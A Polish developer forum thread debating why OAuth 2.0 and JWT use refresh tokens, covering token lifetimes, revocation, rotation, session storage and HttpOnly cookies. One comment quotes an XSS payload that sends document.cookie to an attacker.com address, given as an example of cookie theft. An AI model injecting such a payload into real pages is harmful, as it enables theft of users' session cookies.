JWT - idea Refresh Token i jego sens

JWT - idea Refresh Token i jego sens
KO
  • Rejestracja:ponad 10 lat
  • Ostatnio:16 dni
  • Postów:419
2

Cześć,
chciałem się zapytać jaka jest faktyczna idea refresh tokenu w JWT i OAuth 2.0? W jakim dokładnie celu się go stosuje? Niektórzy piszą, że to kwestia bezpieczeństwa - na wypadek, gdyby token dostępu został wykradziony, ale ten argument chyba jest słaby, bo refresh token również można wykraść.
Bardziej sensowny jest argument, że refresh token można unieważnić / zmienić uprawnienia etc, ale czy jest w ogóle potrzeba jego stosowania?

Moje wątpliwości wynikają z poniższych wniosków:
Jeśli dobrze rozumiem, zasada działania wygląda to tak:
logujemy się na stronie -> otrzymujemy token dostępu, który ma krótki czas życia, oraz refresh token, który ma bardzo długi czas życia -> jak upłynie określony czas token dostępu wygasa i trzeba go odnowić za pomocą refresh tokenu. Wysyłamy więc refresh token do serwera, który go weryfikuje np. czy nie został anulowany, a jeśli nie to otrzymujemy nowy token dostępu.

Ale czy nie wygodniej zrobić to tak:
logujemy się na stronie -> otrzymujemy token dostępu, który ma krótki czas życia -> po stronie serwera zapisujemy czy token użytkownika może być przedłużany ewentualnie do kiedy, jakie ma uprawnienia etc. -> gdy token dostępu wygasa to po stronie serwera sprawdzamy czy możemy go odnowić a jeśli tak to przesyłamy nowy token dostępu z aktualnymi dostępami.

W obu przypadkach, gdy token dostępu wygasa musimy zweryfikować czy możemy wygenerować nowy token a jeśli tak to z jakimi uprawnieniami. Różnica jest tylko taka, że moje rozwiązanie pomija stosowania refresh tokenu.

Będę bardzo wdzięczny za informację czy moje rozumowanie jest właściwe, a jeśli nie to gdzie popełniam błąd, ewentualnie jakie inne korzyści wynikają z refresh tokenu?
Z góry dziękuję za pomoc.

MF
  • Rejestracja:prawie 6 lat
  • Ostatnio:około 2 lata
  • Lokalizacja:Kraków
  • Postów:58
5

Działa to tak jak napisałes. Czy poprawia bezpieczeństwo? Na pewno tak w porównaniu do generowania JWT (access tokenu) z dlugim czasem ważności - typu 30 dni. Poza tym refresh token jest wysyłany do authorization serwera, a access token bezpośrednio do resource serwera.
Głównymi idealmi tego rozwiązania jest właśnie bezpieczeństwo, ale też wygoda i performance. Użytkownik nie musi się logować ponownie po godzinie czy dwóch godzinach. Jeśli chodzi o performance - dodatkowym plusem jest to że JWT (access token) nie musisz trzymać/pobierać z jakiegoś trwałego storage. Możesz sobie go trzymać w pamięci aplikacji (dostęp będzie bardzo szybki), a jak aplikacja się wywali - wygeneruje nowy JWT z refresh tokenu (który moze być w trwałym storage). Jest to również zaletą przy skalowalności.

Ale czy nie wygodniej zrobić to tak:
logujemy się na stronie -> otrzymujemy token dostępu, który ma krótki czas życia -> po stronie serwera zapisujemy czy token użytkownika może być przedłużany ewentualnie do kiedy, jakie ma uprawnienia etc. -> gdy token dostępu wygasa to po stronie serwera sprawdzamy czy możemy go odnowić a jeśli tak to przesyłamy nowy token dostępu z aktualnymi dostępami.

Wygodniej raczej nie, bo musiał byś pisać nowe funkcjonalności które są już zapewnione w wielu rozwiązaniach oauthowych. Dodatkowo przy takim roziązaniu użytkownik musiałby wysyłac cały czas requesty (bo jak upewnisz się po stronie serwera że token wygasa). Np wygenerujesz token o wazności 60min. Użytkownik zrobi kolejny request po 2h. Co wtedy? Wylogowany?
No i jeszcze jeden problem - przy każdym requeście użytkownik (aplikacja kliencka) musiałby sprawdzać czy przypadkiem serwer nie podmienił tokenu w response. Wysyłasz jakiegoś prostego GET-a, ale musisz przy okazji sprawdzić czy token nie został podmieniony na nowy.


edytowany 1x, ostatnio: mfabjanski
Korges
  • Rejestracja:prawie 5 lat
  • Ostatnio:około 8 godzin
  • Postów:551
2

OAuth 2.0 generalnie ma troche inne zadanie. Jest to udostępnianie możliwości uwierzytelniania zewnętrznemu serwisowi.
Co do samego bezpieczeństwa JWT: jeśli token ci wycieknie to żadne expiration time nie pomoże. Dlatego tak ważne jest zabezpieczanie połączenia np poprzez implementację certyfikatu SSL

superdurszlak
  • Rejestracja:prawie 7 lat
  • Ostatnio:2 dni
  • Lokalizacja:Kraków
  • Postów:1999
3
Korges napisał(a):

Co do samego bezpieczeństwa JWT: jeśli token ci wycieknie to żadne expiration time nie pomoże. Dlatego tak ważne jest zabezpieczanie połączenia np poprzez implementację certyfikatu SSL

To jeszcze nie wszystko, bo nadal część ruchu może być niezabezpieczona. Chyba, że wymusisz to przez HSTS. Ale nadal możesz się wrypać w MiTM albo inny spoofing i "niechcący" token zostanie wysłany na lewy serwer, który też się przecież przedstawi swoim certyfikatem - więc żeby mieć absolutną pewność powinieneś najpierw znać certyfikat danego serwera i mu ufać.

No i zawsze można znaleźć sposób np. na wykradzenie tokenu po stronie przeglądarki przez XSS i tutaj SSL nie uratuje :]

Teoretycznie "trochę" da się poprawić sytuację rotując (również refresh) tokeny i unieważniając stare po użyciu: https://auth0.com/docs/tokens/refresh-tokens/refresh-token-rotation - przynajmniej o tyle, że przy odrobinie szczęścia jednorazowy token zostanie już użyty do czegoś przez uprawnionego użytkownika, nim złodziej zdąży sam go wykorzystać.


edytowany 1x, ostatnio: superdurszlak
hauleth
Moderator
  • Rejestracja:około 17 lat
  • Ostatnio:8 dni
2

To jest bardziej o sesjach, nie o OAuth 2.0, ale wnioski podobne.


KO
  • Rejestracja:ponad 10 lat
  • Ostatnio:16 dni
  • Postów:419
2

Dziękuję wszystkim za udział w dyskusji.
Po dłuższym zastanowieniu zacząłem dostrzegać pewne dość istotne wady swojego rozwiązania, dlatego temat uważam za rozwiązany :).

DE
  • Rejestracja:ponad 8 lat
  • Ostatnio:ponad 3 lata
  • Postów:50
1

Odświeżę, bo właśnie dziś naszedł mnie ten sam dylemat. Średnio widzę tu poprawę bezpieczeństwa, przecież oba tokeny access jaki i refresh muszą być trzymane po stronie klienta, więc jak wycieknie jeden to do drugiego też musi być dostęp. Nawet zakładając, że refresh token da mi dostęp tylko do jednego routa, a nie do wszystkich zasobów do których dostęp umożliwia access token, to i tak mogę sobie wygenerować ten access token.

WeiXiao
  • Rejestracja:około 9 lat
  • Ostatnio:około 2 godziny
  • Postów:5107
2

@superdurszlak:

No i zawsze można znaleźć sposób np. na wykradzenie tokenu po stronie przeglądarki przez XSS i tutaj SSL nie uratuje

no to trzymaj go w HTTP cookie

BR
Nie bardzo rozumiem co to da? W sensie są XSSy które "kradną" cookies n.p. : <script type="“text/javascript”">document.location=“http://attacker.com/?c=“+document.cookie;</script>
WeiXiao
@Brut: zabrakło mi w poście słówka Only. A cookie with the HttpOnly attribute is inaccessible to the JavaScript Document.cookie API; it is sent only to the server.
Aventus
  • Rejestracja:prawie 9 lat
  • Ostatnio:ponad 2 lata
  • Lokalizacja:UK
  • Postów:2235
1

Z własnego doświadczenia muszę powiedzieć że chyba (to jest całkowicie subiektywne) najlepszym rozwiązaniem jest trzymanie jakiejś sesji z tokenami. Kiedy użytkownik się wulogowuje to taki token wyrzucamy z sesji. Sesja może być przechowywana w pamięci lub w jakimś cache'u, np. Redis.

Owszem, oficjalnie JWT to brak stanu ale są inne zalety JWT z których nadal możemy korzystać jednocześnie używając sesji. Taki token nadal może być przesyłany między wewnętrznymi systemami, jak i przesyłanie potrzebnych informacji o użytkowniku w postaci claimów jest bardzo wygodne.

Oczywiście potencjalną wadą takie rozwiązania jest to że jeśli takie tokeny mają długą żywotność (dni a nawet tygodnie) to przy wykradzeniu takiego tokena mamy problem, chyba że usuniemy go z sesji. Ale to ten sam rodzaju problemu co przy wykradzeniu refresh tokena tak naprawdę.


Na każdy złożony problem istnieje rozwiązanie które jest proste, szybkie i błędne.
Kliknij, aby dodać treść...

Pomoc 1.18.8

Typografia

Edytor obsługuje składnie Markdown, w której pojedynczy akcent *kursywa* oraz _kursywa_ to pochylenie. Z kolei podwójny akcent **pogrubienie** oraz __pogrubienie__ to pogrubienie. Dodanie znaczników ~~strike~~ to przekreślenie.

Możesz dodać formatowanie komendami , , oraz .

Ponieważ dekoracja podkreślenia jest przeznaczona na linki, markdown nie zawiera specjalnej składni dla podkreślenia. Dlatego by dodać podkreślenie, użyj <u>underline</u>.

Komendy formatujące reagują na skróty klawiszowe: Ctrl+B, Ctrl+I, Ctrl+U oraz Ctrl+S.

Linki

By dodać link w edytorze użyj komendy lub użyj składni [title](link). URL umieszczony w linku lub nawet URL umieszczony bezpośrednio w tekście będzie aktywny i klikalny.

Jeżeli chcesz, możesz samodzielnie dodać link: <a href="link">title</a>.

Wewnętrzne odnośniki

Możesz umieścić odnośnik do wewnętrznej podstrony, używając następującej składni: [[Delphi/Kompendium]] lub [[Delphi/Kompendium|kliknij, aby przejść do kompendium]]. Odnośniki mogą prowadzić do Forum 4programmers.net lub np. do Kompendium.

Wspomnienia użytkowników

By wspomnieć użytkownika forum, wpisz w formularzu znak @. Zobaczysz okienko samouzupełniające nazwy użytkowników. Samouzupełnienie dobierze odpowiedni format wspomnienia, zależnie od tego czy w nazwie użytkownika znajduje się spacja.

Znaczniki HTML

Dozwolone jest używanie niektórych znaczników HTML: <a>, <b>, <i>, <kbd>, <del>, <strong>, <dfn>, <pre>, <blockquote>, <hr/>, <sub>, <sup> oraz <img/>.

Skróty klawiszowe

Dodaj kombinację klawiszy komendą notacji klawiszy lub skrótem klawiszowym Alt+K.

Reprezentuj kombinacje klawiszowe używając taga <kbd>. Oddziel od siebie klawisze znakiem plus, np <kbd>Alt+Tab</kbd>.

Indeks górny oraz dolny

Przykład: wpisując H<sub>2</sub>O i m<sup>2</sup> otrzymasz: H2O i m2.

Składnia Tex

By precyzyjnie wyrazić działanie matematyczne, użyj składni Tex.

<tex>arcctg(x) = argtan(\frac{1}{x}) = arcsin(\frac{1}{\sqrt{1+x^2}})</tex>

Kod źródłowy

Krótkie fragmenty kodu

Wszelkie jednolinijkowe instrukcje języka programowania powinny być zawarte pomiędzy obróconymi apostrofami: `kod instrukcji` lub ``console.log(`string`);``.

Kod wielolinijkowy

Dodaj fragment kodu komendą . Fragmenty kodu zajmujące całą lub więcej linijek powinny być umieszczone w wielolinijkowym fragmencie kodu. Znaczniki ``` lub ~~~ umożliwiają kolorowanie różnych języków programowania. Możemy nadać nazwę języka programowania używając auto-uzupełnienia, kod został pokolorowany używając konkretnych ustawień kolorowania składni:

```javascript
document.write('Hello World');
```

Możesz zaznaczyć również już wklejony kod w edytorze, i użyć komendy  by zamienić go w kod. Użyj kombinacji Ctrl+`, by dodać fragment kodu bez oznaczników języka.

Tabelki

Dodaj przykładową tabelkę używając komendy . Przykładowa tabelka składa się z dwóch kolumn, nagłówka i jednego wiersza.

Wygeneruj tabelkę na podstawie szablonu. Oddziel komórki separatorem ; lub |, a następnie zaznacz szablonu.

nazwisko;dziedzina;odkrycie
Pitagoras;mathematics;Pythagorean Theorem
Albert Einstein;physics;General Relativity
Marie Curie, Pierre Curie;chemistry;Radium, Polonium

Użyj komendy by zamienić zaznaczony szablon na tabelkę Markdown.

Lista uporządkowana i nieuporządkowana

Możliwe jest tworzenie listy numerowanych oraz wypunktowanych. Wystarczy, że pierwszym znakiem linii będzie * lub - dla listy nieuporządkowanej oraz 1. dla listy uporządkowanej.

Użyj komendy by dodać listę uporządkowaną.

1. Lista numerowana
2. Lista numerowana

Użyj komendy by dodać listę nieuporządkowaną.

* Lista wypunktowana
* Lista wypunktowana
** Lista wypunktowana (drugi poziom)

Składnia Markdown

Edytor obsługuje składnię Markdown, która składa się ze znaków specjalnych. Dostępne komendy, jak formatowanie , dodanie tabelki lub fragmentu kodu są w pewnym sensie świadome otaczającej jej składni, i postarają się unikać uszkodzenia jej.

Dla przykładu, używając tylko dostępnych komend, nie możemy dodać formatowania pogrubienia do kodu wielolinijkowego, albo dodać listy do tabelki - mogłoby to doprowadzić do uszkodzenia składni.

W pewnych odosobnionych przypadkach brak nowej linii przed elementami markdown również mógłby uszkodzić składnie, dlatego edytor dodaje brakujące nowe linie. Dla przykładu, dodanie formatowania pochylenia zaraz po tabelce, mogłoby zostać błędne zinterpretowane, więc edytor doda oddzielającą nową linię pomiędzy tabelką, a pochyleniem.

Skróty klawiszowe

Skróty formatujące, kiedy w edytorze znajduje się pojedynczy kursor, wstawiają sformatowany tekst przykładowy. Jeśli w edytorze znajduje się zaznaczenie (słowo, linijka, paragraf), wtedy zaznaczenie zostaje sformatowane.

  • Ctrl+B - dodaj pogrubienie lub pogrub zaznaczenie
  • Ctrl+I - dodaj pochylenie lub pochyl zaznaczenie
  • Ctrl+U - dodaj podkreślenie lub podkreśl zaznaczenie
  • Ctrl+S - dodaj przekreślenie lub przekreśl zaznaczenie

Notacja Klawiszy

  • Alt+K - dodaj notację klawiszy

Fragment kodu bez oznacznika

  • Alt+C - dodaj pusty fragment kodu

Skróty operujące na kodzie i linijkach:

  • Alt+L - zaznaczenie całej linii
  • Alt+, Alt+ - przeniesienie linijki w której znajduje się kursor w górę/dół.
  • Tab/⌘+] - dodaj wcięcie (wcięcie w prawo)
  • Shit+Tab/⌘+[ - usunięcie wcięcia (wycięcie w lewo)

Dodawanie postów:

  • Ctrl+Enter - dodaj post
  • ⌘+Enter - dodaj post (MacOS)